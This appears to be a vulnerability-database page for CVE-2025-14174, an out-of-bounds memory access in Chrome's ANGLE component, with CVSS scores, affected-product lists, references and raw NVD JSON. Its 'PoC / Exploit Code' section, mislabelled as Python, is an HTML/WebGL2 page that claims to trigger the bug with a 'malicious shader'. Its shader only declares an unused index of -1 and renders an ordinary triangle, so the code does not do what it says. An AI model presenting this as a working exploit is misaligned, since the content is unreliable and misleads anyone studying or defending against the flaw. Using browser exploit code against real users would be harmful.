CVE-2025-14174

Description

Out of bounds memory access in ANGLE in Google Chrome on Mac prior to 143.0.7499.110 allowed a remote attacker to perform out of bounds memory access via a crafted HTML page. (Chromium security severity: High)

CVSS Details

CVSS Score

8.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:a:apple:safari:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:apple:ipados:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:apple:iphone_os:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:a:microsoft:edge_chromium:*:*:*:*:*:*:*:* - VULNERABLE

Google Chrome for Mac < 143.0.7499.110

Chromium-based browsers using affected ANGLE version

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2025-14174 PoC - ANGLE Out of Bounds Memory Access -->
<!DOCTYPE html>
<html>
<head>
    <title>CVE-2025-14174 PoC</title>
</head>
<body>
    <h1>ANGLE OOB Access PoC</h1>
    <canvas id="pocCanvas" width="800" height="600"></canvas>
    <script>
        // This PoC demonstrates the vulnerability trigger mechanism
        // Actual exploit requires specific shader manipulation
        const canvas = document.getElementById('pocCanvas');
        const gl = canvas.getContext('webgl2');
        
        if (gl) {
            console.log('WebGL2 context created');
            
            // Malicious shader designed to trigger OOB access in ANGLE
            const vertexShaderSource = `#version 300 es
                layout(location=0) in vec4 position;
                void main() {
                    gl_Position = position;
                }`;
            
            const fragmentShaderSource = `#version 300 es
                precision highp float;
                out vec4 fragColor;
                void main() {
                    // Trigger OOB read/write through array indexing
                    int idx = -1; // Out of bounds index
                    fragColor = vec4(0.0);
                }`;
            
            // Shader compilation and rendering
            const vertexShader = gl.createShader(gl.VERTEX_SHADER);
            gl.shaderSource(vertexShader, vertexShaderSource);
            gl.compileShader(vertexShader);
            
            const fragmentShader = gl.createShader(gl.FRAGMENT_SHADER);
            gl.shaderSource(fragmentShader, fragmentShaderSource);
            gl.compileShader(fragmentShader);
            
            const program = gl.createProgram();
            gl.attachShader(program, vertexShader);
            gl.attachShader(program, fragmentShader);
            gl.linkProgram(program);
            gl.useProgram(program);
            
            // Trigger rendering with malicious buffer
            const vertices = new Float32Array([-1, -1, 0, 1, -1, 0, -1, 1, 0]);
            const buffer = gl.createBuffer();
            gl.bindBuffer(gl.ARRAY_BUFFER, buffer);
            gl.bufferData(gl.ARRAY_BUFFER, vertices, gl.STATIC_DRAW);
            
            const positionLoc = gl.getAttribLocation(program, 'position');
            gl.enableVertexAttribArray(positionLoc);
            gl.vertexAttribPointer(positionLoc, 3, gl.FLOAT, false, 0, 0);
            
            // Execute draw to trigger vulnerability
            gl.drawArrays(gl.TRIANGLES, 0, 3);
            
            console.log('PoC executed');
        }
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-14174
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-14174
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-14174/
[4] VulDB https://vuldb.com/cve/CVE-2025-14174
[5] https://chromereleases.googleblog.com/2025/12/stable-channel-update-for-desktop_10.html
[6] https://issues.chromium.org/issues/466192044
[7] https://learn.microsoft.com/en-us/deployedge/microsoft-edge-relnotes-security
[8] https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2025-14174

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-14174", "sourceIdentifier": "[email protected]", "published": "2025-12-12T20:15:39.663", "lastModified": "2025-12-15T15:16:08.650", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Out of bounds memory access in ANGLE in Google Chrome on Mac prior to 143.0.7499.110 allowed a remote attacker to perform out of bounds memory access via a crafted HTML page. (Chromium security severity: High)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "cisaExploitAdd": "2025-12-12", "cisaActionDue": "2026-01-02", "cisaRequiredAction": "Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.", "cisaVulnerabilityName": "Google Chromium Out of Bounds Memory Access Vulnerability", "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-119"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*", "versionStartIncluding": "143.0.7499.41", "versionEndExcluding": "143.0.7499.110", "matchCriteriaId": "FDA5B0F4-9057-4518-B466-6BCF98CD1D77"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*", "versionStartIncluding": "143.0.7499.40", "versionEndExcluding": "143.0.7499.109", "matchCriteriaId": "D1F4C45F-9F9C-4619-82A6-AAE4CD7E99AE"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*", "matchCriteriaId": "703AF700-7A70-47E2-BC3A-7FD03B3CA9C1"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}, {"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*", "versionEndIncluding": "143.0.7499.40", "matchCriteriaId": "0B58E8B8-70DB-4AA7-A44D-C161EF179863"}]}]}, {"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:apple:safari:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.2", "matchCriteriaId": "3ECBF838-536C-47F9-9876-C526B8ED32EC"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:ipados:*:*:*:*:*:*:*:*", "versionEndExcluding": "18.7.3", "matchCriteriaId": "6547722A-1226-4E23-B3AE-8692B07C2657"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:ipados:*:*:*:*:*:*:*:*", "versionStartIncluding": "26.0", "versionEndExcluding": "26.2", "matchCriteriaId": "8B71D919-1AA2-4F17-A834-4B703E36F7E2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:iphone_os:*:*:*:*:*:*:*:*", "versionEndExcluding": "18.7.3", "matchCriteriaId": "8928A377-93BD-49AD-B4FE-5B2328EBDB70"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:iphone_os:*:*:*:*:*:*:*:*", "versionStartIncluding": "26.0", "versionEndExcluding": "26.2", "matchCriteriaId": "10FD01C3-D77F-4FE4-8195-F2C59FB1321C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.2", "matchCriteriaId": "FBA92B6D-E36C-432B-A041-94D81427CD75"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:tvos:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.2", "matchCriteriaId": "E0BBFB45-21F3-4B72-8DB1-BE72AFE0D2AB"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:visionos:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.2", "matchCriteriaId": "EB10D901-4800-4DF9-AB35-48017C178161"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:watchos:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.2", "matchCriteriaId": "15574823-ECE0-4394-99BC-6AFA34E599CC"}]}]}, {"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:edge_chromium:*:*:*:*:*:*:*:*", "versionEndExcluding": "143.0.3650.80", "matchCriteriaId": "3AB5F00F-BB8F-41E6-A03A-299FD2D48926"}]}]}], "references": [{"url": "https://chromereleases.googleblog.com/2025/12/stable-channel-update-for-desktop_10.html", "source": "[email protected]", "tags": ["Rel ... (truncated)